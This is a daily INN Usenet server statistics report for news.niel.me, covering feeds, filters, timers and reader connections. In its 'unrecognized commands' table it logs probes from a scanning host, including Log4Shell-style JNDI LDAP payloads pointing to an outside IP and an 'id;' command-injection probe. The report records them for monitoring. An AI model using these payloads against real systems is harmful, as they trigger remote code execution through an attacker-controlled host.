Daily Usenet report for news.niel.me

Jul 15 04:15:01 -- Jul 16 04:15:02

Unknown entries from news log file:

First 3 / 3 lines (100.0%)

Jul 15 17:00:05 rpi-studio pgpverify[14073]: pgpverify: verification failed
Jul 15 17:00:06 rpi-studio pgpverify[14088]: pgpverify: verification failed
Jul 16 01:30:02 rpi-studio innd: filter: No Cancel-Key[sha1:BzQZkxMsUzYleHfdCKVoSSWpudQ=] matches Cancel-Lock[sha1:q+jY8l3rDF/V34PSPb9PTrUqe98=] target=<de-gruppen-finden-09.07.2022@dnqmail.priggish.de>

Log entries by program:

Program nameLines%LinesSize%Size
nnrpd 4541 35.4%481.4 KB 24.4%
inn 4052 31.6%767.4 KB 38.9%
innd 2502 19.5%420.1 KB 21.3%
innfeed 1701 13.3%301.4 KB 15.3%
controlchan 13 0.1%2.2 KB 0.1%
nocem 11 0.1%1.1 KB 0.1%
pgpverify 2 0.0%0.4 KB 0.0%
TOTAL: 7 12822 100.0%1.9 MB100.0%

History cache:

ReasonCount%Count
Positive hits 22703 66.9%
Negative hits 7231 21.3%
Do not exist 3980 11.7%
Cache misses 19 0.1%
TOTAL: 4 33933 100.0%

INND timer:

Code regionTimePctInvokedMin(ms)Avg(ms)Max(ms)
artcncl/perl00:00:00.024 0.0%13 0.000 1.846 7.000
article cancel00:00:00.015 0.0%27 0.000 0.556 1.400
article cleanup00:00:00.106 0.0%3996 0.000 0.027 0.188
article logging00:00:00.279 0.0%4008 0.000 0.070 0.333
article parse00:00:00.666 0.0%6922 0.000 0.096 0.277
article write00:00:02.038 0.0%3517 0.077 0.579 2.200
artlog/artcncl00:00:00.002 0.0%25 0.000 0.080 1.000
artlog/artcncl/perl00:00:00.000 0.0%13 0.000 0.000 0.000
data move00:00:00.102 0.0%36994 0.000 0.003 0.020
hisgrep/artcncl00:00:00.000 0.0%22 0.000 0.000 0.000
hisgrep/artcncl/perl00:00:00.001 0.0%13 0.000 0.077 1.000
hisgrep/perl00:00:00.000 0.0%16 0.000 0.000 0.000
hishave/artcncl00:00:00.001 0.0%27 0.000 0.037 1.000
hishave/artcncl/perl00:00:00.000 0.0%13 0.000 0.000 0.000
history grep00:00:00.000 0.0%0 0.000 0.000 0.000
history lookup00:00:00.489 0.0%34091 0.000 0.014 0.038
history sync00:00:00.042 0.0%408 0.000 0.103 1.000
history write00:00:00.858 0.0%3996 0.000 0.215 0.692
hiswrite/artcncl00:00:00.001 0.0%5 0.000 0.200 1.000
idle24:00:39.131100.0%37726 1053.298 2291.235 7325.195
nntp read00:00:01.186 0.0%36750 0.007 0.032 0.080
overview write00:00:02.531 0.0%3517 0.095 0.720 5.857
perl filter00:00:17.821 0.0%3996 3.214 4.460 8.923
python filter00:00:00.005 0.0%4002 0.000 0.001 0.077
site send00:00:01.111 0.0%7125 0.000 0.156 0.441
TOTAL: 24:01:18.52224:01:06.409100.0%----

INNfeed timer:

Code regionTimePctInvokedMin(ms)Avg(ms)Max(ms)
article new00:00:00.036 0.0%3504 0.000 0.010 0.125
article prepare00:00:00.000 0.0%624 0.000 0.000 0.000
article read00:00:00.019 0.0%114 0.000 0.167 8.000
backlog stats00:00:00.104 0.0%53724 0.000 0.002 0.010
callbacks00:00:00.000 0.0%0 0.000 0.000 0.000
data read00:00:00.753 0.0%32154 0.000 0.023 0.071
data write00:00:01.765 0.0%28717 0.019 0.061 0.111
idle23:51:11.490100.0%53724 773.205 1598.382 4088.769
status file00:00:00.450 0.0%167 1.000 2.695 11.000
TOTAL: 23:51:17.71823:51:14.617100.0%----

nnrpd timer:

Code regionTimePctInvokedMin(ms)Avg(ms)Max(ms)
idle00:16:10.349 50.3%1782 0.000 544.528 98083.333
newnews00:00:00.000 0.0%0 0.000 0.000 0.000
nntpwrite00:00:00.357 0.0%5823 0.000 0.061 1.000
readart00:00:00.121 0.0%197 0.112 0.614 4.700
TOTAL: 00:32:10.29400:16:10.827 50.3%----

Control commands to INND:

CommandNumber
flush 5
flushlogs 2
go 2
logmode 2
lowmark 1
mode 149
name 2
pause 2
paused 2
reload 2
reserve 2
TOTAL: 11 171

Control Channel:

SendernewgrouprmgroupOtherBad PGPDoItOK
group-admin@isc.org002202
TOTAL002202

Incoming Feeds (INN):

ServerConnectsOfferedTakenRefusedReject%AccptElapsed
1news-out.aioe.org 1 3659 1631 1971 57 44%24:28:01
2i2pn.org 1 3822 1322 2206 294 34%25:11:13
3feed-out.gegeweb.org 3 2407 229 2178 0 9%23:58:47
4usenet.pasdenom.info 3 2250 156 2090 4 6%19:57:18
5nntp.terraraq.uk 2 3720 116 3575 29 3%23:59:47
6gegeweb-out.news.tnetconsulting.net 2 3818 85 3729 4 2%23:59:21
7news.samoylyk.net 2 3606 19 3587 0 0%24:05:57
8localhost 35 6 6 0 0 100%00:00:01
9news.nntp4.net 1 2 0 2 0 0%00:00:20
TOTAL: 9 50 23290 3564 19338 388 15%165:40:45
Articles received by server

Incoming Volume (INN):

ServerAcceptVolDupVolRejVolTotalVol%AccVol/Art
1news-out.aioe.org5.4 MB0.0 KB229.4 KB5.6 MB 95%3.4 KB
2i2pn.org5.4 MB0.0 KB1.2 MB6.6 MB 81%4.2 KB
3news.samoylyk.net909.6 KB0.0 KB0.0 KB909.6 KB100%47.9 KB
4feed-out.gegeweb.org767.2 KB0.0 KB0.0 KB767.2 KB100%3.4 KB
5nntp.terraraq.uk641.3 KB0.0 KB146.0 KB787.3 KB 81%5.4 KB
6usenet.pasdenom.info385.7 KB0.0 KB9.2 KB395.0 KB 97%2.5 KB
7gegeweb-out.news.tnetconsulting.net313.9 KB0.0 KB16.7 KB330.6 KB 94%3.7 KB
8localhost8.3 KB0.0 KB0.0 KB8.3 KB100%1.4 KB
9news.nntp4.net0.0 KB0.0 KB0.0 KB0.0 KB 0%0
TOTAL: 913.7 MB0.0 KB1.6 MB15.3 MB 89%4.0 KB
Incoming Volume received by server

Incoming articles:

DateArticles%ArtsArt/secSize%SizeKB/sec
Jul 15 04:15:01 - 04:59:59 60 1.7% 0.02161.1 KB 1.0% 0.06
Jul 15 05:00:00 - 05:59:59 99 2.8% 0.03297.0 KB 1.9% 0.08
Jul 15 06:00:00 - 06:59:59 115 3.3% 0.03435.9 KB 2.8% 0.12
Jul 15 07:00:00 - 07:59:59 101 2.9% 0.03350.4 KB 2.2% 0.10
Jul 15 08:00:00 - 08:59:59 85 2.4% 0.02615.6 KB 3.9% 0.17
Jul 15 09:00:00 - 09:59:59 93 2.6% 0.03689.0 KB 4.4% 0.19
Jul 15 10:00:00 - 10:59:59 140 4.0% 0.04480.6 KB 3.0% 0.13
Jul 15 11:00:00 - 11:59:59 146 4.2% 0.04498.2 KB 3.2% 0.14
Jul 15 12:00:00 - 12:59:59 170 4.8% 0.05550.5 KB 3.5% 0.15
Jul 15 13:00:00 - 13:59:59 133 3.8% 0.04383.7 KB 2.4% 0.11
Jul 15 14:00:00 - 14:59:59 146 4.2% 0.04504.6 KB 3.2% 0.14
Jul 15 15:00:00 - 15:59:59 139 4.0% 0.04492.9 KB 3.1% 0.14
Jul 15 16:00:00 - 16:59:59 147 4.2% 0.04526.0 KB 3.3% 0.15
Jul 15 17:00:00 - 17:59:59 160 4.6% 0.041.0 MB 6.8% 0.30
Jul 15 18:00:00 - 18:59:59 226 6.4% 0.06866.4 KB 5.5% 0.24
Jul 15 19:00:00 - 19:59:59 212 6.0% 0.06827.3 KB 5.2% 0.23
Jul 15 20:00:00 - 20:59:59 230 6.5% 0.06850.9 KB 5.4% 0.24
Jul 15 21:00:00 - 21:59:59 227 6.5% 0.062.0 MB 13.1% 0.57
Jul 15 22:00:00 - 22:59:59 213 6.1% 0.06855.6 KB 5.4% 0.24
Jul 15 23:00:00 - 23:59:59 162 4.6% 0.04513.9 KB 3.3% 0.14
Jul 16 00:00:00 - 00:59:59 107 3.0% 0.03351.1 KB 2.2% 0.10
Jul 16 01:00:00 - 01:59:59 153 4.4% 0.041.2 MB 7.6% 0.33
Jul 16 02:00:00 - 02:59:59 111 3.2% 0.03663.6 KB 4.2% 0.18
Jul 16 03:00:00 - 03:59:59 110 3.1% 0.03467.1 KB 3.0% 0.13
Jul 16 04:00:00 - 04:15:02 30 0.9% 0.0392.5 KB 0.6% 0.10
TOTAL: 24:00:01 3515 100.0% 0.0415.4 MB 100.0% 0.18
Incoming articles
Incoming articles (size)

Sites sending bad articles:

ServerTotalGroupDistDuplicUnappTooOldSiteLineOther
1i2pn.org 297 0 0 0 0 0 0 0 297
2news.nntp4.net 79 0 0 0 0 0 0 0 79
3news-out.aioe.org 67 2 0 0 0 0 0 0 65
4nntp.terraraq.uk 41 0 0 0 0 0 0 0 41
5gegeweb-out.news.tnetconsulting.net 11 1 0 0 0 0 0 0 10
6usenet.pasdenom.info 4 0 0 0 0 0 0 0 4
TOTAL: 6 499 3 0 0 0 0 0 0 496

Unwanted newsgroups [Top 20]:

NewsgroupCount
fr.petites-annonces.divers 1
news.test 1
fr.petites-annonces.immobilier 1
TOTAL: 3 3

INND Perl filter [Top 20]:

ReasonCount
Bad path (news.giganews.com.POSTED) 138
EMP (phl) 124
EMP (phn nph) 117
Too many newsgroups 57
EMP (md5) 46
Cancel of <tas279$33bnu$1@os.motzarella.org> without Cancel-Key 1
Cancel of <tas3rv$33h76$1@dont-email.me> without Cancel-Key 1
TOTAL: 7 484

NoCeM on Spool:

IdGoodBadUniqueTotal
bleachbot@httrack.com7077
TOTAL: 17077

Miscellaneous innd statistics [Top 10]:

EventServerNumber
Including strange strings
news-out.aioe.org 10
i2pn.org 2
TOTAL: 2 12
TOTAL: 1 12

Outgoing Feeds (innfeed) by Articles:

ServerOfferedTakenRefusedRejectMissSpool%TookElapsed
1news.gegeweb.org 3388 28 3219 40 0 0 0%23:59:58
2i2pn.org 4102 23 2193 7 0 2 0%23:59:58
3news.tnetconsulting.net 5350 17 3489 6 0 3 0%23:59:58
4news.nntp4.net 4074 9 3491 0 0 0 0%23:59:58
5news.aioe.org 2232 5 1476 1 0 0 0%23:59:57
6news.pasdenom.info 3244 3 3067 8 0 1 0%23:59:58
7nntp.terraraq.uk 2793 2 2499 0 0 0 0%23:59:28
8news.samoylyk.net 3810 0 3490 7 0 0 0%23:59:42
TOTAL: 8 28993 87 22924 69 0 6 0%191:58:57
Outgoing feeds (innfeed) by Articles

Outgoing Feeds (innfeed) by Volume:

ServerAcceptVolRejectVolTotalVolVolume/secVol/ArtElapsed
1news.tnetconsulting.net198.2 KB8.3 KB206.5 KB0.0 KB/s9.0 KB23:59:58
2news.gegeweb.org143.1 KB150.3 KB293.4 KB0.0 KB/s4.3 KB23:59:58
3news.pasdenom.info132.5 KB19.6 KB152.1 KB0.0 KB/s13.8 KB23:59:58
4i2pn.org84.1 KB12.0 KB96.0 KB0.0 KB/s3.2 KB23:59:58
5news.nntp4.net70.7 KB0.0 KB70.7 KB0.0 KB/s7.9 KB23:59:58
6news.aioe.org6.9 KB1.4 KB8.3 KB0.0 KB/s1.4 KB23:59:57
7nntp.terraraq.uk5.8 KB0.0 KB5.8 KB0.0 KB/s2.9 KB23:59:28
8news.samoylyk.net0.0 KB13.9 KB13.9 KB0.0 KB/s2.0 KB23:59:42
TOTAL: 8641.3 KB205.5 KB846.9 KB0.0 KB/s5.4 KB191:58:57
Outgoing feeds (innfeed) by Volume

NNRP readership statistics:

SystemConnArtsSizeGroupsPostRejElapsed
12a0e:e701:1154:0:94f5:7861:3d82:300a 4 381.6 MB 8 6 000:04:21
244-151-129-214.ampr.org 488 00.0 KB 0 0 4000:19:56
TOTAL: 2 492 381.6 MB 8 6 4000:36:08

NNRP readership statistics (by domain):

SystemConnArtsSizeGroupsPostRejElapsed
1? 4 381.6 MB 8 6 000:04:21
2*.gegeweb.eu 288 00.0 KB 0 0 000:01:35
3*.ampr.org 488 00.0 KB 0 0 4000:19:56
4unresolved 10 00.0 KB 0 0 000:00:25
5*.zbau.f3netze.de 2 00.0 KB 0 0 000:09:49
TOTAL: 5 792 381.6 MB 8 6 4000:36:08

NNRP auth users [Top 20]:

UserConn
mailman 288
gerald 4
TOTAL: 2 292

NNRP total resource statistics [Top 20]:

SystemUser(ms)System(ms)Idle(ms)Elapsed
44-151-129-214.ampr.org 19.060 6.796 0.00000:19:56
tor-exit-8.zbau.f3netze.de 0.066 0.033 0.00000:09:49
2a0e:e701:1154:0:94f5:7861:3d82:300a 0.626 0.147 0.02900:04:21
mail.gegeweb.eu 7.893 8.231 2.46000:01:35
50.31.21.9 0.108 0.046 0.00000:00:12
192.241.212.251 0.032 0.021 0.00000:00:09
88.165.5.23 0.087 0.027 0.00000:00:01
92.255.85.183 0.029 0.007 0.00000:00:00
192.241.213.80 0.009 0.045 0.00000:00:00
89.248.163.221 0.025 0.012 0.00000:00:00
62.102.148.68 0.028 0.028 0.00000:00:00
? 0.069 0.029 0.00000:00:00
TOTAL: 12 28.032 15.422 2.48900:36:08

Curious NNRP server explorers [Top 20]:

SystemConn
mail.gegeweb.eu 288
50.31.21.9 3
88.165.5.23 2
tor-exit-8.zbau.f3netze.de 2
89.248.163.221 1
62.102.148.68 1
92.255.85.183 1
192.241.213.80 1
192.241.212.251 1
TOTAL: 9 300

NNRP gethostbyaddr failures [Top 20]:

SystemConn
? (can't getpeername) 63
TOTAL: 1 63

NNRP unrecognized commands (by host):

SystemConn
44-151-129-214.ampr.org 269
192.241.213.80 1
TOTAL: 2 270

NNRP unrecognized commands (by command):

CommandCount
id; 20
À#013À#014À#015À#016À#017À#020À#021À#022À#023À#024À#025À#026À#027À#030À#031À#032À#033À#034À#035À#036... 16
Cache-Control: no-cache 10
${jndi:ldap://127.0.0.1#44.151.129.214:2... 10
Accept: image/gif, image/x-xbitmap, imag... 10
Connection: Close 10
User-Agent: Mozilla/5.0 [en] (X11, U; Op... 10
${jndi:ldap://localhost#44.151.129.214:2... 10
GET / HTTP/1.1 10
Accept-Language: en 10
Accept-Charset: iso-8859-1,*,utf-8 10
Pragma: no-cache 10
${jndi:ldap://localhost#44.151.129.214:1... 9
${jndi:ldap://127.0.0.1#44.151.129.214:1... 9
${jndi:ldap://44.151.129.214:28912/a} 5
${jndi:ldap://44.151.129.214:13864/a} 5
${jndi:ldap://localhost#kali:28912/a} 5
${jndi:ldap://localhost#kali:12004/a} 5
${jndi:ldap://localhost#kali:24639/a} 5
${jndi:ldap://127.0.0.1#kali:28912/a} 5
${jndi:ldap://kali:28912/a} 5
${jndi:ldap://kali:24639/a} 5
${jndi:ldap://44.151.129.214:12004/a} 5
${jndi:ldap://127.0.0.1#kali:24639/a} 5
${jndi:ldap://127.0.0.1#kali:12004/a} 5
${jndi:ldap://44.151.129.214:24639/a} 5
${jndi:ldap://kali:12004/a} 5
${jndi:ldap://localhost#kali:13864/a} 4
${jndi:ldap://127.0.0.1#kali:13864/a} 4
Host: home.niel.me 4
${jndi:ldap://kali:13864/a} 4
GET / HTTP/1.0 4
#026#003#003#003å#001 2
À+À¬À#011À#007À0̨À#024À/À#023À#021 2
#026#003#001#002 2
#026#003#001#003¥#001 2
#026#003#001#003¿#001 2
Host: home.gegeweb.org:563 2
Host: mail.niel.me:563 2
Host: news.niel.me:563 2
#026#003#003#003Ë#001 2
#026#003#002#003¥#001 2
Host: home.niel.me:563 2
Host: jitsi.niel.me:563 2
#026#003#002#003¿#001 2
#026#003#003#003Â#001 2
#026#003 2
MGLNDD_45.13.105.36_119 1
TOTAL: 48 270

NNRP client timeouts [Top 20]:

SystemConnPeer
44-151-129-214.ampr.org 1 21
TOTAL: 1 1 21

Newsgroup request counts (by category):

CategoryCountPct
1fr 26 68.4%
2grisbi 10 26.3%
3news 2 5.3%
TOTAL: 3 38100.0%

Newsgroup request counts (by newsgroup) [Top 100]:

NewsgroupCount
1fr.usenet.forums.evolution 24
2grisbi.devel 10
3news.announce.newgroups 2
4fr.comp.lang.javascript 1
5fr.usenet.divers 1
TOTAL: 5 38